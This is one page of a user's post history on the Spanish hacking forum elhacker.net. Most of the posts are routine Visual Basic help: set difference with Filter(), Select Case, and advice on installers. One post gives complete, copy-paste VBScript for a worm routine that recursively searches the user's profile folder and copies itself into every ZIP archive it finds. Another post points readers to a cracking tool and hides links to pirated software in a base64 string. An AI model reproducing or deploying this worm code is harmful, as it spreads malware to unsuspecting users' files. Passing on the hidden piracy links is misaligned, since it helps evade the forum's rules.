elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 102
241  Programación / Programación Visual Basic / Re: programa de conjuntos en: 10 Abril 2014, 14:20 pm
como haria para que
un programa me resuelva la diferencia entre dos conjuntos
dado que el conjunto A es una cadena (text1) en donde estan todos los elementos separados por comas al igual que B (text2)

A={a,b,c,d,e,f}

B={a,c,d}

la diferencia A-B son todos los elementos que estan A pero que no esten B
y el resultado lo devuelva en otra cadena(text3) separados por comas

A-B={b,e,f}

y si no es molestia tambien la interseccion
como lo haria? :huh: mucho mejor si me contestan a la brevedad que mañana tengo una prueba!!! :-(

gracias por sus respuestas

Aquí lo tienes. Se utiliza la función FILTER(), devuelve un array filtrando otro array existente:

Código
  1. A=Array("a","b","c","d","e","f")
  2. B=Array("a","c","d")
  3.  
  4.  
  5. For i = 0 to Ubound(B)
  6.  
  7. A = Filter(A,B(i),False,1)
  8.  
  9. Next
  10.  
  11. For i = 0 to Ubound(A)
  12.  
  13. MsgBox A(i)
  14.  
  15. Next

El de inserción es más sencillo, así que te lo dejo para que lo pienses un poco.

Un saludo

REF: http://ss64.com/vb/filter.html
242  Programación / Scripting / [VBS] Función para hacer "spread" a fichero ZIP en: 10 Abril 2014, 09:49 am
Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Código:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

2) Recoger la ruta de los ficheros de la carpeta %userprofile%

Código:
    Set Folds = oFSO.GetFolder(P)
    Set Files = Folds.Files

3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

Código:
ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Código:
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

Código:
			If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If

6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

Código:
    Set File = Folds.Subfolders
    For Each Subfol In File
        Call ZipSpread(Subfol.path)
    Next

==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

Código:
ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código
  1. On Error Resume Next
  2.  
  3. Set oWSH = CreateObject("WScript.Shell")
  4. Set oFSO = CreateObject("Scripting.FileSystemObject")
  5.  
  6. SelfPath = WScript.ScriptFullName
  7. SelfName = WScript.ScriptName
  8.  
  9. Function ZipSpread(P)
  10.    On Error Resume Next
  11.    Set Folds = oFSO.GetFolder(P)
  12.    Set Files = Folds.Files
  13.  
  14.    For Each File In Files
  15.        ext = LCase(oFSO.GetExtensionName(File.path))
  16.        If ext = "zip" Then
  17. EXE = SelfPath
  18. ZIP = File.path
  19. Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
  20. RR = ""
  21. For Each CC in FILE.Items
  22. RR = RR & CC.Name
  23. Next
  24. If Not InStr(RR,SelfName) > 0 Then
  25. FILE.CopyHere EXE 'Spread to ZIP
  26. F.Write ZIP & vbcrlf 'Log zipfile to TXT
  27. WScript.Sleep 500 'Important!
  28. End If
  29.        End If
  30.    Next
  31.    Set File = Folds.Subfolders
  32.    For Each Subfol In File
  33.        Call ZipSpread(Subfol.path)
  34.    Next
  35. End Function
  36.  
  37. Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
  38. ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
  39. F.Close
  40.  
  41. MsgBox "<end>"

Saludos!! :D
243  Programación / Programación Visual Basic / Re: [AYUDA] Borrar archivo en uso en: 9 Abril 2014, 20:04 pm
Cierra el proceso que tiene abierto el fichero y luego lo borras
244  Programación / Programación General / Re: Crear instalador en visual basic en: 9 Abril 2014, 14:56 pm
Yo personalmente intento evitar el uso de aplicaciones que vienen con un setup.exe o install.exe

No me gusta, prefiero un sencillo exe ejecutable y nada más.

Las veces que he necesitado empaquetar un conjuto de librerías he usado NSIS Nullsoft Scriptable Install System, para mi es el instalador menos intrusivo y más sencillo de utilizar.

Un saludo
245  Foros Generales / Foro Libre / Re: Felicitaciones al Randomize por su post 17.000 en: 2 Abril 2014, 23:20 pm
Código
  1. tmp = Int(rnd * 17000)

Felicidades :D
246  Seguridad Informática / Análisis y Diseño de Malware / Re: [OPEN SOURCE]SafeLoader v2.0 Beta en: 2 Abril 2014, 19:52 pm
Te ha quedado de miedo!! :)

He revisado el source del VBS (lo que más me interesa) y me ha gustado. Si no te importa cogeré alguna función que me ha gustado, estoy a la espera de poder publicar mi RAT. Por mi parte solo le añadiría más opciones, ya que la "base" la tienes completa

Saludos
247  Programación / Programación Visual Basic / Re: VB6, acceso a fichero en: 1 Abril 2014, 16:28 pm
Si es con ese formato, yo me posicionaría en el archivo con InStr() y Split()
248  Programación / Ingeniería Inversa / Re: ¿Que programa sirve para comparar diferencias? en: 1 Abril 2014, 08:31 am
Yo te recomiendo WINHEX, lo utilizo para crear "cracks" y me funciona de maravilla, te dejo un tutorial donde se explica como comparar archivos EXE, te indica las diferencias, los offsets y los valores. Puedes comparar un fichero completo o solo una zona:

[Tutorial] Programar un patcher/crack con estilo
http://foro.elhacker.net/buscador-t381294.0.html




Hay más programas para comparar, otro muy bueno es

DM UltraEdit + IDM UltraCompare Professional

No puedo postear links de descargas piratas, pero fijo que ésto lo podrás ver :)

Código:
UXVlIGhheSBlc2NvbmRpZG8gYXF1w60/DQoNCmh0dHA6Ly93d3cubnNhbmVkb3duLmNvbS8/cmVxdWVzdD0xOTkxNDg0DQpodHRwOi8vd3d3Lm5zYW5lZG93bi5jb20vP3JlcXVlc3Q9NjAyNzMxOA==

Saludos!! :)
249  Programación / Programación Visual Basic / Re: [VB6.0] Duda con como hacer una comprobacion en: 31 Marzo 2014, 19:24 pm
Otra idea:

Código
  1. respuesta = InputBox ("ESCRIBA MOTIVO MERMA", "MERMA")
  2.  
  3. Select Case respuesta
  4.    Case 51
  5.        'Aquí tu acción por responder 51
  6.    Case 52
  7.        'Aquí tu acción por responder 52
  8.    Case 53
  9.        'Aquí tu acción por responder 53
  10.    Case 54
  11.        'Aquí tu acción por responder 54
  12.    Case 70
  13.        'Aquí tu acción por responder 70
  14.    Case 71
  15.        'Aquí tu acción por responder 71
  16.    Case 72
  17.        'Aquí tu acción por responder 72
  18.    Case Else
  19.        'Has fallado, melón
  20. End Select
  21.  
250  Programación / Programación Visual Basic / Re: copia de seguridad a ftp oculta en: 30 Marzo 2014, 18:20 pm
Y que llevas programado por el momento? Que es lo que no logras hacer?

No se, me da la impresión que no tienes programado nada y vienes aquí a que te hagamos el trabajo gratis xD
Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 102
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines